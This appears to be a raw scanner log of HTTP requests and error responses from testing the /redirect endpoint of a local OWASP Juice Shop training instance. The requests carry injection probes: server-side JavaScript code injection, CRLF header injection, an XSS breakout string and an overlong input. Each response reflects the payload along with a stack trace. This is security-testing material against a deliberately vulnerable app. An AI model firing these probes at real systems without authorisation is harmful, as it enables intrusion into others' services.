b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:44 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: ;response.end((new Array(5+1)).join('opxvb'))</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: ;response.end((new Array(5+1)).join('opxvb'))</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=print%20%27opxvb%27x5 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:44 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: print 'opxvb'x5</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: print 'opxvb'x5</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=w4af%0D%0Avulnerable073b%3A%20ae5cw4af HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:44 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: w4af\r</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: w4af\r</h2>\n <ul id="stacktrace"><li>vulnerable073b: ae5cw4af</li><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=yyp4n%3Cyyp4nyyp4n--%3Eyyp4nyyp4n%2A%2Fyyp4nyyp4n%2A%2F%3A%28%22%27yyp4nyyp4n%3Ayyp4nyyp4n%0Ayyp4nyyp4n%22yyp4nyyp4n%27yyp4nyyp4n%60yyp4nyyp4n%20%3Dyyp4n HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: yyp4n<yyp4nyyp4n-->yyp4nyyp4n*/yyp4nyyp4n*/:("'yyp4nyyp4n:yyp4nyyp4n</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: yyp4n<yyp4nyyp4n-->yyp4nyyp4n*/yyp4nyyp4n*/:("'yyp4nyyp4n:yyp4nyyp4n</h2>\n <ul id="stacktrace"><li>yyp4nyyp4n"yyp4nyyp4n'yyp4nyyp4n`yyp4nyyp4n =yyp4n</li><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA